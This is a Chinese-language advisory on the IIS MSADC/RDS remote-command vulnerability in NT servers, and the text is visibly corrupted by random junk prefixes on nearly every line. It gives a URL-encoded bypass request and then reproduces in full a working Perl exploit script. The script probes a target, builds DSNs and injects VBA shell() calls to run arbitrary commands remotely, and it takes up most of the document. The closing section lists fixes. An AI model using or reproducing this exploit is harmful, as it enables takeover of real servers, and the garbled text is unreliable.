IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~9@527m<', :xmj42w>^ 涉及程序:
+(`D'5EB( Microsoft NT server
s`Z.H5V>\ '% _K"rb 描述:
`"'u
mIz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
QgH{J80 vp&. 详细:
5KbPpKpd 如果你没有时间读详细内容的话,就删除:
9pi{)PDJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
Q7`)&^
Hx 有关的安全问题就没有了。
@)MG&X k5%) 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
S_*Gv O rpEIDhHv 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
F@z%y'5 Z* 关于利用ODBC远程漏洞的描述,请参看:
[ZG>FJDl8 |0p@'X1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm RwK6u-u#9 o=7e8l 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.|DrXJ\c http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5m@'( ]j ?~sNu k 这里不再论述。
hX,RuI 3y$6}Kp4? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
+p _?ekV\ EBWM8~Nm# /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?t}s3P!Q3w 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
g<DXJ7o {]|<|vc;GI hb0)<^xu #将下面这段保存为txt文件,然后: "perl -x 文件名"
O.Te"=^"F 19% "F!^i #!perl
TXd6o= #
V_^pPBa # MSADC/RDS 'usage' (aka exploit) script
[T'[7Z #
.`u8(S+ # by rain.forest.puppy
Bk~lM' #
%H_-`A` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
>^W6'Q$P< # beta test and find errors!
vEG7A$Z" c9@3=6S/ use Socket; use Getopt::Std;
#u"@q< ) getopts("e:vd:h:XR", \%args);
FP y}Wc*UA fhdqes]) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rT-.'aQ2t t0xE if (!defined $args{h} && !defined $args{R}) {
LH`$<p2''r print qq~
a_\7Ho$^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
2!9W:I7 -h <host> = host you want to scan (ip or domain)
s LD Ea -d <seconds> = delay between calls, default 1 second
u46Z}~xf b -X = dump Index Server path table, if available
>X[:(m' -v = verbose
7[L%j;)bw -e = external dictionary file for step 5
%WP[V{,F ME)='~E Or a -R will resume a command session
W! |_ hL Bn.R,B0PL ~; exit;}
E@Ewx;P5 !z:j-gT3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B4zuWCE@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5KTFf6Uq if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
#5^OO ou| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
fQ.S ,lMe $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&eO.h%@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+|<bb8% 7^@ 1cA=S if (!defined $args{R}){ $ret = &has_msadc;
2=<,#7zlJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
} nIYNeP?D !Dc;R+Ir0! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I"8Z'<|/\q . "cmd /c ";
~rq:I<5 $in=<STDIN>; chomp $in;
Xmb##: $command="cmd /c " . $in ;
e<8KZ W?N+7_%' if (defined $args{R}) {&load; exit;}
_TJkYz$ +?Q HSIQo print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
VgY6M_V &try_btcustmr;
W<O/LHKHdn <Vh5`-J print "\nStep 2: Trying to make our own DSN...";
<Nloh+n= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
|Ul 4n@+2 8t7r^[T print "\nStep 3: Trying known DSNs...";
-4L27C &known_dsn;
,DCUBD u& vUL@i'0&o print "\nStep 4: Trying known .mdbs...";
{~#01p5 &known_mdb;
)Fqtb;W= _ Fk^lDI- if (defined $args{e}){
F7=\*U print "\nStep 5: Trying dictionary of DSN names...";
6/'X$}X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t82*rCIB{ z0Y L, print "Sorry Charley...maybe next time?\n";
XfEp_.~JM exit;
y+7+({w< 6Y.k<oem ##############################################################################
LF(S"Of ,#^2t_c/ sub sendraw { # ripped and modded from whisker
3c:fYE sleep($delay); # it's a DoS on the server! At least on mine...
%rl<%%T#.M my ($pstr)=@_;
P= E10 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TL-ALtG die("Socket problems\n");
KZ=5"a if(connect(S,pack "SnA4x8",2,80,$target)){
sUkn.g! select(S); $|=1;
W=#jtU`:5 print $pstr; my @in=<S>;
l;h -`( 11 select(STDOUT); close(S);
\f]w'qiW5 return @in;
tqt~F2u } else { die("Can't connect...\n"); }}
Xp6Z<Z&N wk=s3^ ##############################################################################
ne[H `7c }\A0g} sub make_header { # make the HTTP request
)1YGWr;ykS my $msadc=<<EOT
p lzwk>b_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
a@? Bv User-Agent: ACTIVEDATA
4VA]S Host: $ip
?H{?jJj$H Content-Length: $clen
ds2xl7jg Connection: Keep-Alive
0N6 X;M{zh t?;=\%^< ADCClientVersion:01.06
UU#$Kt*frR Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}$@K )Dcee@/7S --!ADM!ROX!YOUR!WORLD!
xKT;1(Mk Content-Type: application/x-varg
ILHn~d IC Content-Length: $reqlen
g,RhUt9 ;>]dwsA*P EOT
$M|vIw{# ; $msadc=~s/\n/\r\n/g;
E*v+@rv return $msadc;}
[2
Rz8e^ "/hLZl ##############################################################################
MGo`j:0 eI-FJ/CJ sub make_req { # make the RDS request
Xi=4S[.4 my ($switch, $p1, $p2)=@_;
k6;pi=sYNW my $req=""; my $t1, $t2, $query, $dsn;
I
wu^@ |g\CS4$ if ($switch==1){ # this is the btcustmr.mdb query
|c2;`T#`o $query="Select * from Customers where City=" . make_shell();
"nNT9
K| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(d[JMO^@8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?J"Y4,{ `K2vG`c elsif ($switch==2){ # this is general make table query
fKs3H?| $query="create table AZZ (B int, C varchar(10))";
uBaGOW|Pl $dsn="$p1";}
grDz7\i: #hEU)G'$+ elsif ($switch==3){ # this is general exploit table query
En8L1$_ $query="select * from AZZ where C=" . make_shell();
JgldC[|7 $dsn="$p1";}
X(>aW*q D6P/39}W elsif ($switch==4){ # attempt to hork file info from index server
Z~"8C Kz $query="select path from scope()";
7z8 $dsn="Provider=MSIDXS;";}
7#g<fh O-+!KXHd[ elsif ($switch==5){ # bad query
pTYV@5| $query="select";
Q0""wRq' $dsn="$p1";}
2bpFQ8q 7.
eiM!7g $t1= make_unicode($query);
h{PJ4U{W $t2= make_unicode($dsn);
oIKuo~
$req = "\x02\x00\x03\x00";
kChCo0Q>1 $req.= "\x08\x00" . pack ("S1", length($t1));
Tz/[P:O3 $req.= "\x00\x00" . $t1 ;
7{[i) $req.= "\x08\x00" . pack ("S1", length($t2));
DH4|lb} $req.= "\x00\x00" . $t2 ;
FJB
/tg $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~HBx5Cpi return $req;}
)U2%kmt Z1DF ) ##############################################################################
{6wy}<ynC+ 9:Z|Z?>? sub make_shell { # this makes the shell() statement
aS+i`A :a return "'|shell(\"$command\")|'";}
MIc(B_q j)jt&Gg' ##############################################################################
x=Ez hq]X TyaK_XW sub make_unicode { # quick little function to convert to unicode
~A>-tn}O my ($in)=@_; my $out;
>DR/lBtL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3^F1 hCB return $out;}
H4e2#]*i7 d 4; ##############################################################################
42
rIIJ1A S^@#%> sub rdo_success { # checks for RDO return success (this is kludge)
R)GDsgXy my (@in) = @_; my $base=content_start(@in);
sO&eV68
[ if($in[$base]=~/multipart\/mixed/){
h)?Km{u% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j1dz'G}hj return 0;}
w8-L2)Q}I RSF@ Oo{ ##############################################################################
,,Vuvn xT8!X5; sub make_dsn { # this makes a DSN for us
*zDL5
9 my @drives=("c","d","e","f");
JjQTD-^ print "\nMaking DSN: ";
K`cy97 foreach $drive (@drives) {
V8z*mnD print "$drive: ";
{?uswbk. my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^}hSsE "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
`)1qq @ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Dzw>[
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?D=%k8)Y return 0 if $2 eq "404"; # not found/doesn't exist
?)"v~vs if($2 eq "200") {
n,|YJ,v[ foreach $line (@results) {
l,E4h-$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l8N5}!N } return 0;}
O u{|o0 G)7J$4R ##############################################################################
i &,1 ~ZRtNL9 sub verify_exists {
T;B/Wm!x my ($page)=@_;
x@<!# d+ my @results=sendraw("GET $page HTTP/1.0\n\n");
l65Qk2<YC return $results[0];}
t?_{ `qr.@0whP ##############################################################################
lJBZ0 iSj.lW sub try_btcustmr {
kX'a*AG my @drives=("c","d","e","f");
yI$MqR my @dirs=("winnt","winnt35","winnt351","win","windows");
~ePtK~,dv X0%BE! foreach $dir (@dirs) {
Z-z(SKL print "$dir -> "; # fun status so you can see progress
vXcgl foreach $drive (@drives) {
4ak} "Z print "$drive: "; # ditto
3 _c4+u"6 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
qk\LfRbj $reqlenlen=length( "$reqlen" );
ig:z[k? $clen= 206 + $reqlenlen + $reqlen;
-<gQ>`(0 x!9bvQT my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ut9R]01: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Yk#$-"c/a else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
l)91v"vJ &ETPYf%# ##############################################################################
8'mm<BV;sT
;5}y7#4C sub odbc_error {
%J|xPp) my (@in)=@_; my $base;
5?gZw;yiv% my $base = content_start(@in);
5lakP? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&Zm1(k6&K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/)xQ# yfX $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0:k
MnHn\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0XrOOYmx return $in[$base+4].$in[$base+5].$in[$base+6];}
))#_@CwRr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[wjH;f>SQ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*",
BP]] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>U')ICD~ H6-{(:
*< ##############################################################################
AV["%$: 3})0p sub verbose {
J~rjI24 my ($in)=@_;
-*&C "%e return if !$verbose;
tsqWnz=) print STDOUT "\n$in\n";}
R{Qvpd$y ogKd}qTov ##############################################################################
WevXQ-eKm q
e;O Ox sub save {
vpqMKyy my ($p1, $p2, $p3, $p4)=@_;
%c,CfhEV%& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
55|.MXzq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7!E7XP6,~> close OUT;}
E 5bo60z ~qmu?5 ##############################################################################
Rk52K*Dc d9uT*5f sub load {
9w,u4q
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ry iS open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4\EvJg@Z. @p=<IN>; close(IN);
N&+DhKw $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mnWbV\ VY $target= inet_aton($ip) || die("inet_aton problems");
W/|C print "Resuming to $ip ...";
h\$juIQa $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
9]TvLh3 if($p[1]==1) {
"t)|N
dZm $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q\<^ih51 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}x}JzA+2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Oe%jV,S |V if (rdo_success(@results)){print "Success!\n";}
@](\cT64i3 else { print "failed\n"; verbose(odbc_error(@results));}}
r<L>~S>yb elsif ($p[1]==3){
='|HUxFi if(run_query("$p[3]")){
o+Kh2;$) print "Success!\n";} else { print "failed\n"; }}
#>byP?)n elsif ($p[1]==4){
$C !Mk if(run_query($drvst . "$p[3]")){
0NWtu]9QC print "Success!\n"; } else { print "failed\n"; }}
cxQ8/0^ exit;}
:,(ZMx\ ZIrJ"*QO= ##############################################################################
A?sU[b6_ n/]$k4h sub create_table {
vVi))%&S( my ($in)=@_;
g$ oe00b $reqlen=length( make_req(2,$in,"") ) - 28;
)z#M_[zC> $reqlenlen=length( "$reqlen" );
uua1_#a $clen= 206 + $reqlenlen + $reqlen;
*!y.!v* my @results=sendraw(make_header() . make_req(2,$in,""));
lhA<wV1-9G return 1 if rdo_success(@results);
Q-GnNT7MB3 my $temp= odbc_error(@results); verbose($temp);
hq^@t6!C\m return 1 if $temp=~/Table 'AZZ' already exists/;
pJ 1Q~tI return 0;}
A?xb
u*zV, `FM^)(wT ##############################################################################
)pXw 3Fo /y"Y o sub known_dsn {
.%4{zaB # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
R'q:Fc my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
;hLne0|)} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
UMJ>6Ko8 "banner", "banners", "ads", "ADCDemo", "ADCTest");
<KDl2>O Rl""
aZ foreach $dSn (@dsns) {
7+I2"Hy print ".";
{E~MqrX next if (!is_access("DSN=$dSn"));
pQY.MZSA if(create_table("DSN=$dSn")){
wB;'+d& print "$dSn successful\n";
q:1_D> if(run_query("DSN=$dSn")){
@pD']=d}t print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Bu$GC SrX print "Something's borked. Use verbose next time\n";}}} print "\n";}
VoJelyzh <IBzh_ ##############################################################################
9GZKT{* [af<FQ { sub is_access {
KD~F5aS`[ my ($in)=@_;
NX(.Lw} $reqlen=length( make_req(5,$in,"") ) - 28;
'?~k`zK $reqlenlen=length( "$reqlen" );
L_rKVoKjt $clen= 206 + $reqlenlen + $reqlen;
a,U =irBA my @results=sendraw(make_header() . make_req(5,$in,""));
%8V/QimHU my $temp= odbc_error(@results);
1+^L,-k! verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Xx0}KJq~" return 0;}
_;BN;]. k'BLos1W ##############################################################################
Ek ,s6B)'d ;mLbJT
sub run_query {
2Ax HhD. my ($in)=@_;
7n~BDqT $reqlen=length( make_req(3,$in,"") ) - 28;
j}?O $reqlenlen=length( "$reqlen" );
}>:x $clen= 206 + $reqlenlen + $reqlen;
nD+vMG1~w my @results=sendraw(make_header() . make_req(3,$in,""));
uv2!][ return 1 if rdo_success(@results);
I^{PnrB my $temp= odbc_error(@results); verbose($temp);
p5~;8Q7 return 0;}
?6
"F.\O@ d*lnXzQor ##############################################################################
URW'*\Xjb .Wq`qF(; sub known_mdb {
oWpy^=D_ my @drives=("c","d","e","f","g");
S`"M;%T my @dirs=("winnt","winnt35","winnt351","win","windows");
U jC$Mi`O my $dir, $drive, $mdb;
yoj5XBM my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r^?%N3 >Tld: # this is sparse, because I don't know of many
iw(\]tMt my @sysmdbs=( "\\catroot\\icatalog.mdb",
V\kf6E "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
qb
^4G "\\system32\\certmdb.mdb",
]*^mT&$7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
5|-(Ic G2k r~FG my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4\?I4|{pC "\\cfusion\\cfapps\\forums\\forums_.mdb",
*Df|D/,WE "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Y1
i! "\\cfusion\\cfapps\\security\\realm_.mdb",
i)0*J?l= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
'PlKCn`(w "\\cfusion\\database\\cfexamples.mdb",
nYuZg6K "\\cfusion\\database\\cfsnippets.mdb",
~`{HWmah "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9`)NFy? "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
w<awCp "\\cfusion\\brighttiger\\database\\cleam.mdb",
N2}].} "\\cfusion\\database\\smpolicy.mdb",
zu}h3n5 "\\cfusion\\database\cypress.mdb",
%&^F.JTt\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%t\`20-1< "\\website\\cgi-win\\dbsample.mdb",
7;n'4LIa9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#cQ[ vE)y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
vbQo8GFp} ); #these are just
0=s+bo1 foreach $drive (@drives) {
/ vge@bsE foreach $dir (@dirs){
b=QO ^ foreach $mdb (@sysmdbs) {
odquAqn print ".";
0}Xkj)R, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&K`[SX= print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{61NLF\0H if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
o"v>
BhpC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
QHsS|\u } else { print "Something's borked. Use verbose next time\n"; }}}}}
~]A';xH& ,KIa+&vJW@ foreach $drive (@drives) {
W?'!}g(~ foreach $mdb (@mdbs) {
`a2Oj@jP print ".";
gW6lMyiLb if(create_table($drv . $drive . $dir . $mdb)){
.d9VV& print "\n" . $drive . $dir . $mdb . " successful\n";
qB7.LR*' if(run_query($drv . $drive . $dir . $mdb)){
.dp~%!"Sn, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
PF!Q2t5c3 } else { print "Something's borked. Use verbose next time\n"; }}}}
-NZj : N }
.$4DK* :H\6wJ ##############################################################################
tB[(o%k NeHR%a2~ sub hork_idx {
,q/K&'0` print "\nAttempting to dump Index Server tables...\n";
G+'MTC_ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
u3 ?+Hu|*T $reqlen=length( make_req(4,"","") ) - 28;
2X)E3V/*
$reqlenlen=length( "$reqlen" );
E[htNin.B~ $clen= 206 + $reqlenlen + $reqlen;
XT= #+ my @results=sendraw2(make_header() . make_req(4,"",""));
4lb3quY$Us if (rdo_success(@results)){
rg_-gZl8&z my $max=@results; my $c; my %d;
f8N for($c=19; $c<$max; $c++){
_ZD)#? $results[$c]=~s/\x00//g;
+B_q? 6pR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
c.,:rX0S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"a`0s_F,^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ui7 0| $d{"$1$2"}="";}
nUhD41GJ foreach $c (keys %d){ print "$c\n"; }
-j]r\EVKS } else {print "Index server doesn't seem to be installed.\n"; }}
`U!eh1*b ED"5y ##############################################################################
Y#{KGVT< R`ZU'| sub dsn_dict {
< W/-[ M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=t&B8+6 while(<IN>){
*xU^e`P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
mbd next if (!is_access("DSN=$dSn"));
))G%C6- if(create_table("DSN=$dSn")){
u;&`_=p print "$dSn successful\n";
4m#i4 if(run_query("DSN=$dSn")){
<5[wP)K@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=[t( [DG print "Something's borked. Use verbose next time\n";}}}
)Ah print "\n"; close(IN);}
:'I mz Fdu0?H2TL ##############################################################################
J%f5NSSU{6 _ZzPy;[i? sub sendraw2 { # ripped and modded from whisker
`W?aq]4x5 sleep($delay); # it's a DoS on the server! At least on mine...
2;[75(l6|} my ($pstr)=@_;
>|@ /GpD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f5wOk&G die("Socket problems\n");
IDE@{Dy if(connect(S,pack "SnA4x8",2,80,$target)){
#B`"B print "Connected. Getting data";
?*,N
?s(U open(OUT,">raw.out"); my @in;
AUS?Pt[w select(S); $|=1; print $pstr;
vxr3|2` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:XBeGNI*# close(OUT); select(STDOUT); close(S); return @in;
0gO2^m)W } else { die("Can't connect...\n"); }}
kZ`60X%wE b
|m$ W ##############################################################################
8DLR }[D~#Z!k sub content_start { # this will take in the server headers
3$l'>v+5{ my (@in)=@_; my $c;
/
)5B for ($c=1;$c<500;$c++) {
>0@X^o if($in[$c] =~/^\x0d\x0a/){
"H%TOk7l if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t
~U&a9&Z else { return $c+1; }}}
fn#b3ee return -1;} # it should never get here actually
dWD9YIYf }Ss#0Gee ##############################################################################
>\}2("bv #5G!lbH sub funky {
[ "J my (@in)=@_; my $error=odbc_error(@in);
l+R-lsj if($error=~/ADO could not find the specified provider/){
#1u4Hi(x5 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
MV9{>xX exit;}
=kZPd>&L if($error=~/A Handler is required/){
go2:D#mf print "\nServer has custom handler filters (they most likely are patched)\n";
\^N9Q9{7] exit;}
6=A++H@ if($error=~/specified Handler has denied Access/){
rx_'( print "\nServer has custom handler filters (they most likely are patched)\n";
N[aK#o, exit;}}
{x2N~1!E <diI*H<G ##############################################################################
vj?9X5A_ y7d)[d*Mz sub has_msadc {
4y
582u6^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
dHf_&X2A my $base=content_start(@results);
rS(693kb return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nF
A7@hsm return 0;}
\e'>$8%T SAThY$)6 ########################
V%e'H>EC YaSwn3i/@S v[m/>l2[P 解决方案:
ZwO&G\A^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Lk#u^|Eq7= 2、移除web 目录: /msadc